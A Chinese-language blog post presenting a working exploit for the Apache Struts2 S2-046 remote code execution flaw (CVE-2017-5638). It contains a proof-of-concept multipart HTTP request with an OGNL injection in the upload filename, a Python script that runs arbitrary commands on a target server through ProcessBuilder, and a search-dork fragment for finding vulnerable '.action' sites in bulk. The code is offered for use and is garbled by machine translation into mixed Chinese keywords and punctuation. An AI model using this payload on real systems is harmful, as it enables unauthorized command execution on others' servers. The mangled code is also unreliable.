st2 046漏洞利用sh and py腳本(搞起來)

本篇文章:華盟大老李原創。文末附批量查詢語句前言:

3月21日凌晨,Apache Struts2官方發布了一條安全公告,該公告指出Apache Struts2的Jakarta Multipart解析器插件存在遠程代碼執行漏洞,漏洞編號為CVE-2017-5638。攻擊者可以使用該插件上傳文件,通過修改Content-Length頭的值,並且在Content-Disposition value中添加惡意代碼,導致遠程代碼執行。

該漏洞與之前S2-045漏洞成因及原理一樣(CVE漏洞編號是同一個),只是漏洞利用的欄位發生了改變。

昨天還在搞045今天046就出來了

poc使用教程

代碼:

POST /doUpload.action HTTP / 1.1

Host:localhost:8080

Content-Length:10000000

Content-Type:multipart / form-data; border = ---- WebKitFormBoundaryAnmUgTEhFhOZpr9z

連接:close

------ WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition:form-data; name =「upload」; filename =「%{#context [com.opensymphony.xwork2.dispatcher.HttpServletResponse]。addHeader(X-Test,Kaboom)}」

Content-Type:text / plain

Kaboom

------ WebKitFormBoundaryAnmUgTEhFhOZpr9z - -

利用方式:

打包成sh執行下圖為執行截圖

哦,對,記住,要給777許可權,不然無法執行哦,

py腳本代碼:

#author = Jumbo

#website:xxx.com導入請求

import sys

嘗試:

url = sys.argv [1]

headers = {Connection:close,Content-Type:multipart / form-data; boundary = --------------------------- 735323031399963166993862150,User-Agent:Mozilla / 5.0(Windows NT 6.1; WOW64)AppleWebKit /537.36(KHTML,like Gecko)Chrome / 36.0.1985.143 Safari / 537.36}

data =「----------------------------- 735323031399963166993862150 r nContent-Disposition:form-data; name = 」foo 「; filename = 」%{(#nike =multipart / form-data)(#dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS)(#_ memberAccess?(#_ memberAccess =#dm) [com.opensymphony.xwork2.ActionContext.container])。(#ognlUtil =#container.getInstance(@ com.opensymphony.xwork2.ognl.OgnlUtil @ class))。(#ognlUtil.getExcludedPackageNames()。clear() )。(#ognlUtil.getExcludedClasses()。clear())。(#context.setMemberAccess(#dm))))(#cmd =「sys.argv [2]」 java.lang.System@getProperty(os.name)。toLowerCase()。contains(win))。(#cmds =(#iswin?{cmd.exe,/ c,#cmd (#p = new java.lang.ProcessBuilder(#cmds))。(#p.redirectErrorStream(true))。(#process =#p.start())。(#ros =(@ org.apache.struts2.ServletActionContext@getResponse()。getOutputStream()))(@ org.apache.commons.io.IOUtils@copy(#process。 getInputStream(),#ros))。(#ros.flush())} 0b 「 r nContent-Type:text / plain r n r nx r n ------ ----------------------- 735323031399963166993862150 - r n r n「

get = requests.post(url,data = data,headers = headers)

列印get.content

除:

print用法:struts2-046.py xxx.com whoami

site.kr)inurl:(「.action」)


推薦閱讀:

竊取 OAuth 令牌繞過 Airbnb 身份驗證
F5設備中存在一個Ticketbleed漏洞 可被遠程攻擊者利用
揭秘Project Zero:谷歌內部的超級黑客團隊、網路世界的「孤膽英雄」

TAG:Struts2 | 漏洞 | 安全漏洞 |